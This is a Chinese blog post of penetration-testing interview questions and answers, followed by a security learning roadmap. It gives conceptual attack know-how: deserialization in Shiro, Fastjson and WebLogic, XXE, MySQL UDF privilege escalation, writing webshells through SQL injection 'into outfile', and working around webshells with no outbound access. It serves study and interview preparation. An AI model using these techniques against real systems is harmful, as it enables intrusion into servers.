#蜜罐:用于欺骗攻击者并跟踪攻击者,通过布置一些作为诱饵的主机或网络服务,诱使攻击方对他们实施 攻击,从而可以对攻击行为进行捕获和分析
#IDS:主要任务包括:监视、分析用户及系统活动;审计系统构造和弱点;识别、反映已知进攻的活动模式,向相关人士报警;统计分析异常行为模式;评估重要系统和数据文件的完整性;审计、跟踪管理操作系统,识别用户违反安全策略的行为
#IPS:入侵预防系统是一部能够监视网络或网络设备的网络数据传输行为的计算机网络安全设备,能够即 时的中断、调整或隔 离一些不正常或是具有伤害性的网络数据传输行为
5、常见的中间件漏洞
IIS:解析漏洞、短文件名枚举、远程代码执行、PUT漏洞
Apache:解析漏洞、目录遍历、shiro反序列化漏洞
Nginx:解析漏洞、目录遍历、CRLF注入、目录穿越
Tomcat:示例目录、远程代码执行、反向路径遍历、war后门文件部署
Jboss:反序列化、war后门文件部署
web Logic:反序列化、SSRF任意文件上传
6、了解过反序列漏洞吗有没有复现过
php/java反序列化漏洞
(1)php中围绕着serialize(),unserialize()这两个函数,序列化就是把一个对象变成可以传输的字符串,如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。
O:7:“chybeta”:1:{s:4:“test”;s:3:“123”;}
这里的O代表存储的是对象(object),假如你给serialize()传入的是一个数组,那它会变成字母a。7表示对象的名称有7个字符。"chybeta"表示对象的名称。1表示有一个值。{s:4:“test”;s:3:“123”;}中,s表示字符串,4表示该字符串的长度,"test"为字符串的名称,之后的类似。当传给 unserialize() 的参数可控时,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。
(2)JAVA Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。
(3)有复现过
复现过Spring Cloud Gateway远程代码执行漏洞复现(CVE-2022-22947)
首先:
开启vulfoucs并获取实验镜像
访问网页使用BurpSuite代理工具
构造并发送恶意的路由请求
测试结果:影响版本:
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
旧的、不受支持的版本也会受到影响7、xxe漏洞
原理、查找方法、防御方法、危害
XXE漏洞就是xml外部实体注入漏洞,常发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。
(2)Xxe的引入方式
本地引入,外部引入,外部参数实际引入
8、sql提权的方式
mysql提权,serv-u提权,oracle提权
- 通过 UDF 提权;2、通过 mof 提权;3、通过数据库语句写入启动项提权
(1)MySQL 数据库没有开启安全模式(确认 secure_file_priv = ''是否为空)。
(2)已知的数据库账号具有对 MySQL 数据库 insert 和 delete 的权限,最好是 root 最高权 限。
(3)shell 有写入到数据库安装目录的权限。
9、sql写一句话木马
一句话木马与sql注入漏洞结合使用,利用回显注入,将一句话木马写入网页的根目录。
sql函数写入shell ,webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。将代码修改后当作后门程序使用,以达到控制网站服务器的目的。
就是基本的into outfile的利用
10、打点一般会用什么漏洞
优先以java反序列化这些漏洞像shiro,fastjson,weblogic,用友oa等等进行打点,随后再找其他脆弱性易打进去的点。
因为javaweb程序运行都是以高权限有限运行,部分可能会降权。
11、平常怎么去发现shiro漏洞的
登陆失败时候会返回rememberMe=deleteMe字段或者使用shiroScan被动扫描去发现
完整:
未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
12、shiro有几种漏洞类型
shiro 550
shiro 721
14、fastjson漏洞利用原理
在请求包里面中发送恶意的json格式payload,漏洞在处理json对象的时候,没有对@type字段进行过滤,从而导致攻击者可以传入恶意的TemplatesImpl类,而这个类有一个字段就是_bytecodes,有部分函数会根据这个_bytecodes生成java实例,这就达到fastjson通过字段传入一个类,再通过这个类被生成时执行构造函数。
15、weblogic有几种漏洞
weblogic就好多了,基于T3协议的反序列化;基于xml解析时候造成的反序列化,还有ssrf,权限绕过等等
16、IIOP听说过吗,和什么类似
java RMI通信,也就是远程方法调用,默认是使用jrmp协议,也可以选择IIOP。
17、这几个漏洞不出网情况下怎么办
让这几个漏洞回显
18、拿到webshell不出网情况下怎么办
reg上传去正向连接。探测出网协议,如dns,icmp
19、php序列化
php中围绕着serialize(),unserialize()这两个函数,序列化就是把一个对象变成可以传输的字符串,如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。
O:7:“chybeta”:1:{s:4:“test”;s:3:“123”;}
(这里的O代表存储的是对象(object),假如你给serialize()传入的是一个数组,那它会变成字母a。7表示对象的名称有7个字符。中,s表示字符串,4表示该字符串的长度,"test"为字符串的名称,之后的类似。当传给 unserialize() 的参数可控时,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。)
20、谈一下现在有一台windows server2008 如何提权
在windows server2008中, 服务器默认是支持aspx的,默认都是可以执行一些命令。
如果没有进行补丁修复可以利用一些溢出提权工具,进行提权。
21、谈谈IDS和IPS
IDS:入侵检测系统,依照一定的安全策略,对网络、系统、运行状况进行监视,竟可能发现各种攻击企图、攻击行为或者供给结构,以保证网络系统资源的机密性、完整性和可用性。
IPS:入侵防御系统,深度感知并检测流经的数据流量,对恶意报文进行丢弃以阻断攻击,对滥用报文进行限流以保护网络带宽资源。
IDS与IPS区别:IPS位于防火墙和网络的设备之间的设备,当检测到攻击,IPS会在这种攻击扩散到网络的其他地方之前阻止这个恶意;
IDS只存在于网络之外,起到报警的作用,没有防御作用。
13、weblogic权限绕过有没有了解
https://blog.csdn.net/weixin_45728976/article/details/109512848
是用./进行绕过的
22、Java 反序列化的原理
Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。
23、谈谈自己常用的中间件漏洞
中间件漏洞:Jboss漏洞、Apache漏洞、nginx漏洞、tomcat漏洞
24、Windows和Linux的日志文件放在哪里
Linux日志文件:/var/log
Windows日志文件:应用程序日志、安全日志、系统日志、DNS日志默认位置:%systemroot%\system32\config
25、谈谈作为蓝队护网过程使用过厂商的设备,
WAF:web应用防火墙
IDS:入侵检测系统
IPS:入侵防御系统
VPN:虚拟专用网络
天眼:新一代威胁感知系统 核心作用:浏览器监控:针对Web端真实用户体验监控与分析,通过浏览器端的真实用户行为与体验数据监控,提供基于用户感知的业务办理效率分析,基于操作人员感知的操作轨迹跟踪、Ajax请求诊断和页面加载深度分析,实现前端感知可视化
26、如何查看系统内存shell
使用命令:内存查看:#cat /proc/meminfo | grep MemTotal
27、Linux的登录日志查看文件
Linux日志文件在/var/log目录下,可以通过命令查看日志文件。
cat messages可以查看某个日志文件。
网络安全学习路线&学习资源
网络安全的知识多而杂,怎么科学合理安排?
下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!
初级网工
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.
零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。
8、超级网工
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。感兴趣的童鞋可以研究一下,不懂得地方可以【点这里】加我耗油,跟我学习交流一下。
网络安全工程师企业级学习路线
如图片过大被平台压缩导致看不清的话,可以【点这里】加我耗油发给你,大家也可以一起学习交流一下。
一些我自己买的、其他平台白嫖不到的视频教程:
需要的话可以扫描下方卡片加我耗油发给你(都是无偿分享的),大家也可以一起学习交流一下。
结语
网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。
特别声明:
此教程为纯技术分享!本书的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失!!!
本文转自 https://blog.csdn.net/Javachichi/article/details/141626517?spm=1001.2014.3001.5501,如有侵权,请联系删除。